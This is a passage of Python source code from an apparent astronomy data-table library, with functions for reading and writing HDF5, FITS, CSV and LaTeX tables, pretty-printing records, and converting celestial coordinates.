table\n\n silent: bool\n skip verbose messages\n\n Returns\n -------\n hdr: str\n string that will be be written at the beginning of the file\n \"\"\"\n source = tables.open_file(filename, *args, **kwargs)\n\n if tablename is None:\n node = source.listNodes('/')[0]\n tablename = node.name\n else:\n if tablename[0] != '/':\n node = source.get_node('/' + tablename)\n else:\n node = source.get_node(tablename)\n if not silent:\n print(\"\\tLoading table: {0}\".format(tablename))\n\n hdr = {}\n aliases = {}\n\n # read header\n exclude = ['NROWS', 'VERSION', 'CLASS', 'EXTNAME', 'TITLE']\n for k in node.attrs._v_attrnames:\n if (k not in exclude):\n if (k[:5] != 'FIELD') & (k[:5] != 'ALIAS'):\n hdr[k] = node.attrs[k]\n elif k[:5] == 'ALIAS':\n c0, c1 = node.attrs[k].split('=')\n aliases[c0] = c1\n\n empty_name = ['', 'None', 'Noname', None]\n if node.attrs['TITLE'] not in empty_name:\n hdr['NAME'] = node.attrs['TITLE']\n else:\n hdr['NAME'] = '{0:s}/{1:s}'.format(filename, node.name)\n\n # read column meta\n units = {}\n desc = {}\n\n for (k, colname) in enumerate(node.colnames):\n _u = getattr(node.attrs, 'FIELD_{0:d}_UNIT'.format(k), None)\n _d = getattr(node.attrs, 'FIELD_{0:d}_DESC'.format(k), None)\n if _u is not None:\n units[colname] = _u\n if _d is not None:\n desc[colname] = _d\n\n data = node[:]\n\n source.close()\n\n return hdr, aliases, units, desc, data\n\n\ndef _ascii_generate_header(tab, comments='#', delimiter=' ',\n commentedHeader=True):\n \"\"\" Generate the corresponding ascii Header that contains all necessary info\n\n Parameters\n ----------\n\n tab: SimpleTable instance\n table\n\n comments: str\n string to prepend header lines\n\n delimiter: str, optional\n The string used to separate values. By default, this is any\n whitespace.\n\n commentedHeader: bool, optional\n if set, the last line of the header is expected to be the column titles\n\n Returns\n -------\n hdr: str\n string that will be be written at the beginning of the file\n \"\"\"\n hdr = []\n\n if comments is None:\n comments = ''\n\n # table header\n length = max(map(len, tab.header.keys()))\n fmt = '{{0:s}} {{1:{0:d}s}}\\t{{2:s}}'.format(length)\n for k, v in tab.header.items():\n for vk in v.split('\\n'):\n if len(vk) > 0:\n hdr.append(fmt.format(comments, k.upper(), vk.strip()))\n\n # column metadata\n hdr.append(comments) # add empty line\n length = max(map(len, tab.keys()))\n fmt = '{{0:s}}{{0:s}} {{1:{0:d}s}}\\t{{2:s}}\\t{{3:s}}'.format(length)\n for colname in tab.keys():\n unit = tab._units.get(colname, 'None')\n desc = tab._desc.get(colname, 'None')\n hdr.append(fmt.format(comments, colname, unit, desc))\n\n # aliases\n if len(tab._aliases) > 0:\n hdr.append(comments) # add empty line\n for k, v in tab._aliases.items():\n hdr.append('{0:s} alias\\t{1:s}={2:s}'.format(comments, k, v))\n\n # column names\n hdr.append(comments)\n if commentedHeader:\n hdr.append('{0:s} {1:s}'.format(comments, delimiter.join(tab.keys())))\n else:\n hdr.append('{0:s}'.format(delimiter.join(tab.keys())))\n\n return '\\n'.join(hdr)\n\n\ndef _latex_writeto(filename, tab, comments='%'):\n \"\"\" Write the data into a latex table format\n\n Parameters\n ----------\n filename: str\n file or unit to write into\n\n tab: SimpleTable instance\n table\n\n comments: str\n string to prepend header lines\n\n delimiter: str, optional\n The string used to separate values. By default, this is any\n whitespace.\n\n commentedHeader: bool, optional\n if set, the last line of the header is expected to be the column titles\n \"\"\"\n txt = \"\\\\begin{table}\\n\\\\begin{center}\\n\"\n\n # add caption\n tabname = tab.header.get('NAME', None)\n if tabname not in ['', None, 'None']:\n txt += \"\\\\caption{{{0:s}}}\\n\".format(tabname)\n\n # tabular\n txt += '\\\\begin{{tabular}}{{{0:s}}}\\n'.format('c' * tab.ncols)\n txt += tab.pprint(delim=' & ', fields='MAG*', headerChar='', endline='\\\\\\\\\\n', all=True, ret=True)\n txt += '\\\\end{tabular}\\n'\n\n # end table\n txt += \"\\\\end{center}\\n\"\n\n # add notes if any\n if len(tab._desc) > 0:\n txt += '\\% notes \\n\\\\begin{scriptsize}\\n'\n for e, (k, v) in enumerate(tab._desc.items()):\n if v not in (None, 'None', 'none', ''):\n txt += '{0:d} {1:s}: {2:s} \\\\\\\\\\n'.format(e, k, v)\n txt += '\\\\end{scriptsize}\\n'\n txt += \"\\\\end{table}\\n\"\n if hasattr(filename, 'write'):\n filename.write(txt)\n else:\n with open(filename, 'w') as unit:\n unit.write(txt)\n\n\ndef _convert_dict_to_structured_ndarray(data):\n \"\"\"convert_dict_to_structured_ndarray\n\n Parameters\n ----------\n\n data: dictionary like object\n data structure which provides iteritems and itervalues\n\n returns\n -------\n tab: structured ndarray\n structured numpy array\n \"\"\"\n newdtype = []\n try:\n for key, dk in iteritems(data):\n _dk = np.asarray(dk)\n dtype = _dk.dtype\n # unknown type is converted to text\n if dtype.type == np.object_:\n if len(data) == 0:\n longest = 0\n else:\n longest = len(max(_dk, key=len))\n _dk = _dk.astype('|%iS' % longest)\n if _dk.ndim > 1:\n newdtype.append((str(key), _dk.dtype, (_dk.shape[1],)))\n else:\n newdtype.append((str(key), _dk.dtype))\n tab = np.rec.fromarrays(itervalues(data), dtype=newdtype)\n except AttributeError: # not a dict\n # hope it's a tuple ((key, value),) pairs.\n from itertools import tee\n d1, d2 = tee(data)\n for key, dk in d1:\n _dk = np.asarray(dk)\n dtype = _dk.dtype\n # unknown type is converted to text\n if dtype.type == np.object_:\n if len(data) == 0:\n longest = 0\n else:\n longest = len(max(_dk, key=len))\n _dk = _dk.astype('|%iS' % longest)\n if _dk.ndim > 1:\n newdtype.append((str(key), _dk.dtype, (_dk.shape[1],)))\n else:\n newdtype.append((str(key), _dk.dtype))\n tab = np.rec.fromarrays((dk for (_, dk) in d2), dtype=newdtype)\n\n return tab\n\n\ndef __indent__(rows, header=None, units=None, headerChar='-',\n delim=' | ', endline='\\n', **kwargs):\n \"\"\"Indents a table by column.\n\n Parameters\n ----------\n rows: sequences of rows\n one sequence per row.\n\n header: sequence of str\n row consists of the columns' names\n\n units: sequence of str\n Sequence of units\n\n headerChar: char\n Character to be used for the row separator line\n\n delim: char\n The column delimiter.\n\n returns\n -------\n txt: str\n string represation of rows\n \"\"\"\n length_data = list(map(max, zip(*[list(map(len, k)) for k in rows])))\n length = length_data[:]\n\n if (header is not None):\n length_header = list(map(len, header))\n length = list(map(max, zip(length_data, length_header)))\n\n if (units is not None):\n length_units = list(map(len, units))\n length = list(map(max, zip(length_data, length_units)))\n\n if headerChar not in (None, '', ' '):\n rowSeparator = headerChar * (sum(length) + len(delim) * (len(length) - 1)) + endline\n else:\n rowSeparator = ''\n\n # make the format\n fmt = ['{{{0:d}:{1:d}s}}'.format(k, l) for (k, l) in enumerate(length)]\n fmt = delim.join(fmt) + endline\n # write the string\n txt = rowSeparator\n if header is not None:\n txt += fmt.format(*header) # + endline\n txt += rowSeparator\n if units is not None:\n txt += fmt.format(*units) # + endline\n txt += rowSeparator\n for r in rows:\n txt += fmt.format(*r) # + endline\n txt += rowSeparator\n return txt\n\n\ndef pprint_rec_entry(data, num=0, keys=None):\n \"\"\" print one line with key and values properly to be readable\n\n Parameters\n ----------\n data: recarray\n data to extract entry from\n\n num: int, slice\n indice selection\n\n keys: sequence or str\n if str, can be a regular expression\n if sequence, the sequence of keys to print\n \"\"\"\n if (keys is None) or (keys == '*'):\n _keys = data.dtype.names\n elif type(keys) in basestring:\n _keys = [k for k in data.dtype.names if (re.match(keys, k) is not None)]\n else:\n _keys = keys\n\n length = max(map(len, _keys))\n fmt = '{{0:{0:d}s}}: {{1}}'.format(length)\n data = data[num]\n\n for k in _keys:\n print(fmt.format(k, data[k]))\n\n\ndef pprint_rec_array(data, idx=None, fields=None, ret=False, all=False,\n headerChar='-', delim=' | ', endline='\\n' ):\n \"\"\" Pretty print the table content\n you can select the table parts to display using idx to\n select the rows and fields to only display some columns\n (ret is only for insternal use)\n\n Parameters\n ----------\n data: array\n array to show\n\n idx: sequence, slide\n sub selection to print\n\n fields: str, sequence\n if str can be a regular expression, and/or list of fields separated\n by spaces or commas\n\n ret: bool\n if set return the string representation instead of printing the result\n\n all: bool\n if set, force to show all rows\n\n headerChar: char\n Character to be used for the row separator line\n\n delim: char\n The column delimiter.\n \"\"\"\n if (fields is None) or (fields == '*'):\n _keys = data.dtype.names\n elif type(fields) in basestring:\n if ',' in fields:\n _fields = fields.split(',')\n elif ' ' in fields:\n _fields = fields.split()\n else:\n _fields = [fields]\n lbls = data.dtype.names\n _keys = []\n for _fk in _fields:\n _keys += [k for k in lbls if (re.match(_fk, k) is not None)]\n else:\n lbls = data.dtype.names\n _keys = []\n for _fk in _fields:\n _keys += [k for k in lbls if (re.match(_fk, k) is not None)]\n\n nfields = len(_keys)\n nrows = len(data)\n fields = list(_keys)\n\n if idx is None:\n if (nrows < 10) or (all is True):\n rows = [ [ str(data[k][rk]) for k in _keys ] for rk in range(nrows)]\n else:\n _idx = range(6)\n rows = [ [ str(data[k][rk]) for k in _keys ] for rk in range(5) ]\n if nfields > 1:\n rows += [ ['...' for k in range(nfields) ] ]\n else:\n rows += [ ['...' for k in range(nfields) ] ]\n rows += [ [ str(data[k][rk]) for k in fields ] for rk in range(-5, 0)]\n elif isinstance(idx, slice):\n _idx = range(idx.start, idx.stop, idx.step or 1)\n rows = [ [ str(data[k][rk]) for k in fields ] for rk in _idx]\n else:\n rows = [ [ str(data[k][rk]) for k in fields ] for rk in idx]\n\n out = __indent__(rows, header=_keys, units=None, delim=delim,\n headerChar=headerChar, endline=endline)\n if ret is True:\n return out\n else:\n print(out)\n\n\ndef elementwise(func):\n \"\"\"\n Quick and dirty elementwise function decorator it provides a quick way\n to apply a function either on one element or a sequence of elements\n \"\"\"\n @wraps(func)\n def wrapper(it, **kwargs):\n if hasattr(it, '__iter__') & (type(it) not in basestring):\n _f = partial(func, **kwargs)\n return map(_f, it)\n else:\n return func(it, **kwargs)\n return wrapper\n\n\nclass AstroHelpers(object):\n \"\"\" Helpers related to astronomy data \"\"\"\n\n @staticmethod\n @elementwise\n def hms2deg(_str, delim=':'):\n \"\"\" Convert hex coordinates into degrees\n\n Parameters\n ----------\n str: string or sequence\n string to convert\n\n delimiter: str\n character delimiting the fields\n\n Returns\n -------\n deg: float\n angle in degrees\n \"\"\"\n if _str[0] == '-':\n neg = -1\n _str = _str[1:]\n else:\n neg = 1\n _str = _str.split(delim)\n return neg * ((((float(_str[-1]) / 60. +\n float(_str[1])) / 60. +\n float(_str[0])) / 24. * 360.))\n\n @staticmethod\n @elementwise\n def deg2dms(val, delim=':'):\n \"\"\" Convert degrees into hex coordinates\n\n Parameters\n ----------\n deg: float\n angle in degrees\n\n delimiter: str\n character delimiting the fields\n\n Returns\n -------\n str: string or sequence\n string to convert\n \"\"\"\n if val < 0:\n sign = -1\n else:\n sign = 1\n d = int( sign * val )\n m = int( (sign * val - d) * 60. )\n s = (( sign * val - d) * 60. - m) * 60.\n return '{0}{1}{2}{3}{4}'.format( sign * d, delim, m, delim, s)\n\n @staticmethod\n @elementwise\n def deg2hms(val, delim=':'):\n \"\"\" Convert degrees into hex coordinates\n\n Parameters\n ----------\n deg: float\n angle in degrees\n\n delimiter: str\n character delimiting the fields\n\n Returns\n -------\n str: string or sequence\n string to convert\n \"\"\"\n if val < 0:\n sign = -1\n else:\n sign = 1\n h = int( sign * val / 45. * 3.) # * 24 / 360\n m = int( (sign * val / 45. * 3. - h) * 60. )\n s = (( sign * val / 45. * 3. - h) * 60. - m) * 60.\n return '{0}{1}{2}{3}{4}'.format( sign * h, delim, m, delim, s)\n\n @staticmethod\n @elementwise\n def dms2deg(_str, delim=':'):\n \"\"\" Convert hex coordinates into degrees\n\n Parameters\n ----------\n str: string or sequence\n string to convert\n\n delimiter: str\n character delimiting the fields\n\n Returns\n -------\n deg: float\n angle in degrees\n \"\"\"\n if _str[0] == '-':\n neg = -1\n _str = _str[1:]\n else:\n neg = 1\n _str = _str.split(delim)\n return (neg * ((float(_str[-1]) / 60. + float(_str[1])) / 60. + float(_str[0])))\n\n @staticmethod\n @elementwise\n def euler(ai_in, bi_in, select, b1950=False, dtype='f8'):\n \"\"\"\n Transform between Galactic, celestial, and ecliptic coordinates.\n Celestial coordinates (RA, Dec) should be given in equinox J2000\n unless the b1950 is True.\n\n +-------+--------------+------------+----------+----------+-----------+\n |select | From | To | select | From | To |\n +-------+--------------+------------+----------+----------+-----------+\n |1 |RA-Dec (2000) | Galactic | 4 | Ecliptic | RA-Dec |\n +-------+--------------+------------+----------+----------+-----------+\n |2 |Galactic | RA-DEC | 5 | Ecliptic | Galactic |\n +-------+--------------+------------+----------+----------+-----------+\n |3 |RA-Dec | Ecliptic | 6 | Galactic | Ecliptic |\n +-------+--------------+------------+----------+----------+-----------+\n\n Parameters\n ----------\n\n long_in: float, or sequence\n Input Longitude in DEGREES, scalar or vector.\n\n lat_in: float, or sequence\n Latitude in DEGREES\n\n select: int\n Integer from 1 to 6 specifying type of coordinate transformation.\n\n b1950: bool\n set equinox set to 1950\n\n\n Returns\n -------\n long_out: float, seq\n Output Longitude in DEGREES\n\n lat_out: float, seq\n Output Latitude in DEGREES\n\n\n .. note::\n\n Written W. Landsman, February 1987\n Adapted from Fortran by Daryl Yentis NRL\n Converted to IDL V5.0 W. Landsman September 1997\n Made J2000 the default, added /FK4 keyword W. Landsman December 1998\n Add option to specify SELECT as a keyword W. Landsman March 2003\n Converted from IDL to numerical Python: Erin Sheldon, NYU, 2008-07-02\n \"\"\"\n\n # Make a copy as an array. ndmin=1 to avoid messed up scalar arrays\n ai = np.array(ai_in, ndmin=1, copy=True, dtype=dtype)\n bi = np.array(bi_in, ndmin=1, copy=True, dtype=dtype)\n\n PI = math.pi\n # HALFPI = PI / 2.0\n D2R = PI / 180.0\n R2D = 1.0 / D2R\n\n twopi = 2.0 * PI\n fourpi = 4.0 * PI\n\n # J2000 coordinate conversions are based on the following constants\n # (see the Hipparcos explanatory supplement).\n # eps = 23.4392911111d Obliquity of the ecliptic\n # alphaG = 192.85948d Right Ascension of Galactic North Pole\n # deltaG = 27.12825d Declination of Galactic North Pole\n # lomega = 32.93192d Galactic longitude of celestial equator\n # alphaE = 180.02322d Ecliptic longitude of Galactic North Pole\n # deltaE = 29.811438523d Ecliptic latitude of Galactic North Pole\n # Eomega = 6.3839743d Galactic longitude of ecliptic equator\n # Parameters for all the different conversions\n if b1950:\n # equinox = '(B1950)'\n psi = np.array([ 0.57595865315, 4.9261918136,\n 0.00000000000, 0.0000000000,\n 0.11129056012, 4.7005372834], dtype=dtype)\n stheta = np.array([ 0.88781538514, -0.88781538514,\n 0.39788119938, -0.39788119938,\n 0.86766174755, -0.86766174755], dtype=dtype)\n ctheta = np.array([ 0.46019978478, 0.46019978478,\n 0.91743694670, 0.91743694670,\n 0.49715499774, 0.49715499774], dtype=dtype)\n phi = np.array([ 4.9261918136, 0.57595865315,\n 0.0000000000, 0.00000000000,\n 4.7005372834, 0.11129056012], dtype=dtype)\n else:\n # equinox = '(J2000)'\n psi = np.array([ 0.57477043300, 4.9368292465,\n 0.00000000000, 0.0000000000,\n 0.11142137093, 4.71279419371], dtype=dtype)\n stheta = np.array([ 0.88998808748, -0.88998808748,\n 0.39777715593, -0.39777715593,\n 0.86766622025, -0.86766622025], dtype=dtype)\n ctheta = np.array([ 0.45598377618, 0.45598377618,\n 0.91748206207, 0.91748206207,\n 0.49714719172, 0.49714719172], dtype=dtype)\n phi = np.array([ 4.9368292465, 0.57477043300,\n 0.0000000000, 0.00000000000,\n 4.71279419371, 0.11142137093], dtype=dtype)\n\n # zero offset\n i = select - 1\n a = ai * D2R - phi[i]\n\n b = bi * D2R\n sb = sin(b)\n cb = cos(b)\n cbsa = cb * sin(a)\n b = -stheta[i] * cbsa + ctheta[i] * sb\n w, = np.where(b > 1.0)\n if w.size > 0:\n b[w] = 1.0\n bo = arcsin(b) * R2D\n a = arctan2( ctheta[i] * cbsa + stheta[i] * sb, cb * cos(a) )\n ao = ( (a + psi[i] + fourpi) % twopi) * R2D\n return ao, bo\n\n @staticmethod\n def sphdist(ra1, dec1, ra2, dec2):\n \"\"\"measures the spherical distance between 2 points\n\n Parameters\n ----------\n ra1: float or sequence\n first right ascensions in degrees\n\n dec1: float or sequence\n first declination in degrees\n ra2: float or sequence\n second right ascensions in degrees\n dec2: float or sequence\n first declination in degrees\n\n Returns\n -------\n Outputs: float or sequence\n returns a distance in degrees\n \"\"\"\n dec1_r = deg2rad(dec1)\n dec2_r = deg2rad(dec2)\n return 2. * rad2deg(arcsin(sqrt((sin((dec1_r - dec2_r) / 2)) ** 2 +\n cos(dec1_r) * cos(dec2_r) * (\n sin((deg2rad(ra1 - ra2)) / 2)) **\n 2)))\n\n @staticmethod\n def conesearch(ra0, dec0, ra, dec, r, outtype=0):\n \"\"\" Perform a cone search on a table\n\n Parameters\n ----------\n ra0: ndarray[ndim=1, dtype=float]\n column name to use as RA source in degrees\n\n dec0: ndarray[ndim=1, dtype=float]\n column name to use as DEC source in degrees\n\n ra: float\n ra to look for (in degree)\n\n dec: float\n ra to look for (in degree)\n\n r: float\n distance in degrees\n\n outtype: int\n type of outputs\n 0 -- minimal, indices of matching coordinates\n 1 -- indices and distances of matching coordinates\n 2 -- full, boolean filter and distances\n\n Returns\n -------\n t: tuple\n if outtype is 0:\n only return indices from ra0, dec0\n elif outtype is 1:\n return indices from ra0, dec0 and distances\n elif outtype is 2:\n return conditional vector and distance to all ra0, dec0\n \"\"\"\n @elementwise\n def getDist( pk ):\n \"\"\" get spherical distance between 2 points \"\"\"\n return AstroHelpers.sphdist(pk[0], pk[1], ra, dec)\n\n dist = np.array(list(getDist(zip(ra0, dec0))))\n v = (dist <= r)\n\n if outtype == 0:\n return np.ravel(np.where(v))\n elif outtype == 1:\n return np.ravel(np.where(v)), dist[v]\n else:\n return v, dist\n\n\n# ==============================================================================\n# SimpleTable -- provides table manipulations with limited storage formats\n# ==============================================================================\nclass SimpleTable(object):\n \"\"\" Table class that is designed to be the basis of any format wrapping\n around numpy recarrays\n\n Attributes\n ----------\n\n fname: str or object\n if str, the file to read from. This may be limited to the format\n currently handled automatically. If the format is not correctly handled,\n you can try by providing an object.__\n\n if object with a structure like dict, ndarray, or recarray-like\n the data will be encapsulated into a Table\n\n caseless: bool\n if set, column names will be caseless during operations\n\n aliases: dict\n set of column aliases (can be defined later :func:`set_alias`)\n\n units: dict\n set of column units (can be defined later :func:`set_unit`)\n\n desc: dict\n set of column description or comments (can be defined later :func:`set_comment`)\n\n header: dict\n key, value pair corresponding to the attributes of the table\n \"\"\"\n\n def __init__(self, fname, *args, **kwargs):\n\n dtype = kwargs.pop('dtype', None)\n dtype = kwargs.pop('format', dtype)\n self.caseless = kwargs.get('caseless', False)\n self._aliases = kwargs.get('aliases', {})\n self._units = kwargs.get('units', {})\n self._desc = kwargs.get('desc', {})\n\n if (isinstance(fname, (dict, tuple, list, types.GeneratorType))) or (dtype in [dict, 'dict']):\n try:\n self.header = fname.pop('header', {})\n except (AttributeError, TypeError):\n self.header = kwargs.pop('header', {})\n self.data = _convert_dict_to_structured_ndarray(fname)\n elif (type(fname) in basestring) or (dtype is not None):\n if (type(fname) in basestring):\n extension = fname.split('.')[-1]\n else:\n extension = None\n if (extension == 'csv') or dtype == 'csv':\n kwargs.setdefault('delimiter', ',')\n commentedHeader = kwargs.pop('commentedHeader', False)\n n, header, units, comments, aliases, names = _ascii_read_header(fname, commentedHeader=commentedHeader, **kwargs)\n if 'names' in kwargs:\n n -= 1\n kwargs.setdefault('names', names)\n if _pd is not None: # pandas is faster\n kwargs.setdefault('comment', '#')\n kwargs.setdefault('skiprows', n)\n self.data = _pd.read_csv(fname, *args, **kwargs).to_records()\n else:\n kwargs.setdefault('skip_header', n)\n kwargs.setdefault('comments', '#')\n self.data = np.recfromcsv(fname, *args, **kwargs)\n self.header = header\n self._units.update(**units)\n self._desc.update(**comments)\n self._aliases.update(**aliases)\n kwargs.setdefault('names', True)\n elif (extension in ('tsv', 'dat', 'txt')) or (dtype in ('tsv', 'dat', 'txt')):\n commentedHeader = kwargs.pop('commentedHeader', True)\n n, header, units, comments, aliases, names = _ascii_read_header(fname, commentedHeader=commentedHeader, **kwargs)\n kwargs.setdefault('names', names)\n if _pd is not None: # pandas is faster\n kwargs.setdefault('delimiter', '\\s+')\n kwargs.setdefault('comment', '#')\n self.data = _pd.read_csv(fname, *args, **kwargs).to_records()\n else:\n kwargs.setdefault('delimiter', None)\n kwargs.setdefault('comments', '#')\n kwargs.setdefault('skip_header', n)\n self.data = np.recfromtxt(fname, *args, **kwargs)\n self.header = header\n self._units.update(**units)\n self._desc.update(**comments)\n self._aliases.update(**aliases)\n elif (extension == 'fits') or dtype == 'fits':\n if pyfits is None:\n raise RuntimeError('Cannot read this format, Astropy or pyfits not found')\n if ('extname' not in kwargs) and ('ext' not in kwargs) and (len(args) == 0):\n args = (1, )\n self.data = np.array(pyfits.getdata(fname, *args, **kwargs))\n header, aliases, units, comments = _fits_read_header(pyfits.getheader(fname, *args, **kwargs))\n self.header = header\n self._desc.update(**comments)\n self._units.update(**units)\n self._aliases.update(**aliases)\n elif (extension in ('hdf5', 'hd5', 'hdf')) or (dtype in ('hdf5', 'hd5', 'hdf')):\n if tables is None:\n raise RuntimeError('Cannot read this format, pytables not found')\n hdr, aliases, units, desc, data = _hdf5_read_data(fname, *args, **kwargs)\n self.data = data\n self.header = hdr\n self._units.update(**units)\n self._desc.update(**desc)\n self._aliases.update(**aliases)\n elif (extension in ('vot', 'votable')) or (dtype in ('vot', 'votable')):\n # Votable case\n if _astropytable is None:\n raise RuntimeError('Cannot read this votable format, astropy not found')\n data = _astropytable.read(fname, format='votable', *args, **kwargs)\n units = [(k, data[k].unit.name) for k in data.keys()]\n desc = [(k, data[k].description) for k in data.keys()]\n self.data = data.as_array()\n self.header = {}\n self._units.update(units)\n self._desc.update(desc)\n else:\n raise Exception('Format {0:s} not handled'.format(extension))\n elif type(fname) == np.ndarray:\n self.data = fname\n self.header = {}\n elif type(fname) == pyfits.FITS_rec:\n self.data = np.array(fname)\n self.header = {}\n elif isinstance(fname, SimpleTable):\n cp = kwargs.pop('copy', True)\n if cp:\n self.data = deepcopy(fname.data)\n self.header = deepcopy(fname.header)\n self._aliases = deepcopy(fname._aliases)\n self._units = deepcopy(fname._units)\n self._desc = deepcopy(fname._desc)\n else:\n self.data = fname.data\n self.header = fname.header\n self._aliases = fname._aliases\n self._units = fname._units\n self._desc = fname._desc\n elif hasattr(fname, 'dtype'):\n self.data = np.array(fname)\n self.header = {}\n else:\n raise Exception('Type {0!s:s} not handled'.format(type(fname)))\n if 'NAME' not in self.header:\n if type(fname) not in basestring:\n self.header['NAME'] = 'No Name'\n else:\n self.header['NAME'] = fname\n\n def pprint_entry(self, num, keys=None):\n \"\"\" print one line with key and values properly to be readable\n\n Parameters\n ----------\n num: int, slice\n indice selection\n\n keys: sequence or str\n if str, can be a regular expression\n if sequence, the sequence of keys to print\n \"\"\"\n if (keys is None) or (keys == '*'):\n _keys = self.keys()\n elif type(keys) in basestring:\n _keys = [k for k in (self.keys() + tuple(self._aliases.keys()))\n if (re.match(keys, k) is not None)]\n else:\n _keys = keys\n\n length = max(map(len, _keys))\n fmt = '{{0:{0:d}s}}: {{1}}'.format(length)\n data = self[num]\n\n for k in _keys:\n print(fmt.format(k, data[self.resolve_alias(k)]))\n\n def pprint(self, idx=None, fields=None, ret=False, all=False,\n full_match=False, headerChar='-', delim=' | ', endline='\\n',\n **kwargs):\n \"\"\" Pretty print the table content\n you can select the table parts to display using idx to\n select the rows and fields to only display some columns\n (ret is only for insternal use)\n\n Parameters\n ----------\n\n idx: sequence, slide\n sub selection to print\n\n fields: str, sequence\n if str can be a regular expression, and/or list of fields separated\n by spaces or commas\n\n ret: bool\n if set return the string representation instead of printing the result\n\n all: bool\n if set, force to show all rows\n\n headerChar: char\n Character to be used for the row separator line\n\n delim: char\n The column delimiter.\n \"\"\"\n if full_match is True:\n fn = re.fullmatch\n else:\n fn = re.match\n\n if (fields is None) or (fields == '*'):\n _keys = self.keys()\n elif type(fields) in basestring:\n if ',' in fields:\n _fields = fields.split(',')\n elif ' ' in fields:\n _fields = fields.split()\n else:\n _fields = [fields]\n lbls = self.keys() + tuple(self._aliases.keys())\n _keys = []\n for _fk in _fields:\n _keys += [k for k in lbls if (fn(_fk, k) is not None)]\n else:\n lbls = self.keys() + tuple(self._aliases.keys())\n _keys = []\n for _fk in _fields:\n _keys += [k for k in lbls if (fn(_fk, k) is not None)]\n\n nfields = len(_keys)\n\n fields = list(map( self.resolve_alias, _keys ))\n\n if idx is None:\n if (self.nrows < 10) or all:\n rows = [ [ str(self[k][rk]) for k in _keys ] for rk in range(self.nrows)]\n else:\n _idx = range(6)\n rows = [ [ str(self[k][rk]) for k in _keys ] for rk in range(5) ]\n if nfields > 1:\n rows += [ ['...' for k in range(nfields) ] ]\n else:\n rows += [ ['...' for k in range(nfields) ] ]\n rows += [ [ str(self[k][rk]) for k in fields ] for rk in range(-5, 0)]\n elif isinstance(idx, slice):\n _idx = range(idx.start, idx.stop, idx.step or 1)\n rows = [ [ str(self[k][rk]) for k in fields ] for rk in _idx]\n else:\n rows = [ [ str(self[k][rk]) for k in fields ] for rk in idx]\n\n if len(self._units) == 0:\n units = None\n else:\n units = [ '(' + str( self._units.get(k, None) or '') + ')' for k in fields ]\n\n out = __indent__(rows, header=_keys, units=units, delim=delim,\n headerChar=headerChar, endline=endline)\n if ret is True:\n return out\n else:\n print(out)\n\n def write(self, fname, **kwargs):\n \"\"\" write table into file\n\n Parameters\n ----------\n fname: str\n filename to export the table into\n\n .. note::\n additional keywords are forwarded to the corresponding libraries\n :func:`pyfits.writeto` or :func:`pyfits.append`\n :func:`np.savetxt`\n \"\"\"\n extension = kwargs.pop('extension', None)\n if extension is None:\n extension = fname.split('.')[-1]\n if (extension == 'csv'):\n comments = kwargs.pop('comments', '#')\n delimiter = kwargs.pop('delimiter', ',')\n commentedHeader = kwargs.pop('commentedHeader', False)\n hdr = _ascii_generate_header(self, comments=comments, delimiter=delimiter,\n commentedHeader=commentedHeader)\n header = kwargs.pop('header', hdr)\n np.savetxt(fname, self.data, delimiter=delimiter, header=header,\n comments='', **kwargs)\n elif (extension in ['txt', 'dat']):\n comments = kwargs.pop('comments', '#')\n delimiter = kwargs.pop('delimiter', ' ')\n commentedHeader = kwargs.pop('commentedHeader', True)\n hdr = _ascii_generate_header(self, comments=comments, delimiter=delimiter,\n commentedHeader=commentedHeader)\n header = kwargs.pop('header', hdr)\n np.savetxt(fname, self.data, delimiter=delimiter, header=header,\n comments='', **kwargs)\n elif (extension == 'fits'):\n hdr0 = kwargs.pop('header', None)\n append = kwargs.pop('append', False)\n hdr = _fits_generate_header(self)\n if hdr0 is not None:\n hdr.update(**hdr0)\n if append:\n _fits_append(fname, self.data, hdr, **kwargs)\n else:\n # patched version to correctly include the header\n _fits_writeto(fname, self.data, hdr, **kwargs)\n elif (extension in ('hdf', 'hdf5', 'hd5')):\n _hdf5_write_data(fname, self.data, header=self.header,\n units=self._units, comments=self._desc,\n aliases=self._aliases, **kwargs)\n else:\n raise Exception('Format {0:s} not handled'.format(extension))\n\n def to_records(self, **kwargs):\n \"\"\" Construct a numpy record array from this dataframe \"\"\"\n return self.data\n\n def to_pandas(self, **kwargs):\n \"\"\" Construct a pandas dataframe\n\n Parameters\n ----------\n data : ndarray \n (structured dtype), list of tuples, dict, or DataFrame\n keys: sequence, optional\n ordered subset of columns to export\n index : string, list of fields, array-like\n Field of array to use as the index, alternately a specific set of\n input labels to use\n exclude : sequence, default None\n Columns or fields to exclude\n columns : sequence, default None\n Column names to use. If the passed data do not have names\n associated with them, this argument provides names for the\n columns. Otherwise this argument indicates the order of the columns\n in the result (any names not found in the data will become all-NA\n columns)\n coerce_float : boolean, default False\n Attempt to convert values to non-string, non-numeric objects (like\n decimal.Decimal) to floating point, useful for SQL result sets\n\n Returns\n -------\n df : DataFrame\n \"\"\"\n try:\n from pandas import DataFrame\n keys = kwargs.pop('keys', None)\n return DataFrame.from_dict(self.to_dict(keys=keys), **kwargs)\n except ImportError as error:\n print(\"Pandas import error\")\n raise error\n\n def to_dict(self, keys=None, contiguous=False):\n \"\"\" Construct a dictionary from this dataframe with contiguous arrays\n\n Parameters\n ----------\n keys: sequence, optional\n ordered subset of columns to export\n\n contiguous: boolean\n make sure each value is a contiguous numpy array object\n (C-aligned)\n\n Returns\n -------\n data: dict\n converted data\n \"\"\"\n if keys is None:\n keys = self.keys()\n if contiguous:\n return {k: np.ascontiguousarray(self[k]) for k in keys}\n return {k: self[k] for k in keys}\n\n def to_xarray(self, **kwargs):\n \"\"\" Construct an xarray dataset\n\n Each column will be converted into an independent variable in the\n Dataset. If the dataframe's index is a MultiIndex, it will be expanded\n into a tensor product of one-dimensional indices (filling in missing\n values with NaN). This method will produce a Dataset very similar to\n that on which the 'to_dataframe' method was called, except with\n possibly redundant dimensions (since all dataset variables will have\n the same dimensionality).\n \"\"\"\n try:\n from xarray import Dataset\n return Dataset.from_dataframe(self.to_pandas(**kwargs))\n except ImportError as error:\n print(\"xray import error\")\n raise error\n\n def to_vaex(self, **kwargs):\n \"\"\"\n Create an in memory Vaex dataset\n\n Parameters\n ----------\n name: str\n unique for the dataset\n keys: sequence, optional\n ordered subset of columns to export\n\n Returns\n -------\n df: vaex.DataSetArrays\n vaex dataset\n \"\"\"\n try:\n import vaex\n return vaex.from_arrays(**self.to_dict(contiguous=True, **kwargs))\n except ImportError as error:\n print(\"Vaex import error\")\n raise error\n\n def to_dask(self, **kwargs):\n \"\"\" Construct a Dask DataFrame\n\n This splits an in-memory Pandas dataframe into several parts and constructs\n a dask.dataframe from those parts on which Dask.dataframe can operate 